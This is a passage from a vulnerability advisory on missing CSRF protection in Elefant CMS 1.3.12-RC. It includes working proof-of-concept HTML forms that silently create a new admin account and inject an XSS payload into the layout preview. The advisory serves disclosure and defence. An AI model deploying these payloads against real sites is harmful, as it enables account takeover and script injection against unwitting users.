2. Overview
Elefant is a content managment system written in PHP. In version 1.3.12-RC, it
is vulnerable to cross site request forgery. If a victim visits a website that
contains specifically crafted code while logged into Elefant, an attacker can
for example create a new admin account without the victims knowledge.
3. Details
CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
There is no CSRF protection for various components, allowing among other the
creation of new admin accounts or XSS attacks.
Proof of Concept:
Create New Admin: <html> <body> <form action="http://localhost/user/add" method
="POST"> <input type="hidden" name="name" value="admin3" /> <input type=
"hidden" name="email" value="[email protected]" /> <input type="hidden" name=
"password" value="admin3" /> <input type="hidden" name="verify_pass" value=
"admin3" /> <input type="hidden" name="type" value="admin" /> <input type=
"hidden" name="company" value="" /> <input type="hidden" name="title" value=""
/> <input type="hidden" name="website" value="" /> <input type="hidden" name=
"photo" value="" /> <input type="hidden" name="about" value="" /> <input type=
"hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" />
<input type="hidden" name="address" value="" /> <input type="hidden" name=
"address2" value="" /> <input type="hidden" name="city" value="" /> <input type
="hidden" name="state" value="" /> <input type="hidden" name="country" value=""
/> <input type="hidden" name="zip" value="" /> <input type="submit" value=
"Submit request" /> </form> </body> </html> XSS: <html> <body> <form action=
"http://localhost/designer/preview" method="POST"> <input type="hidden" name=
"layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value=
"Submit request" /> </form> </body> </html>
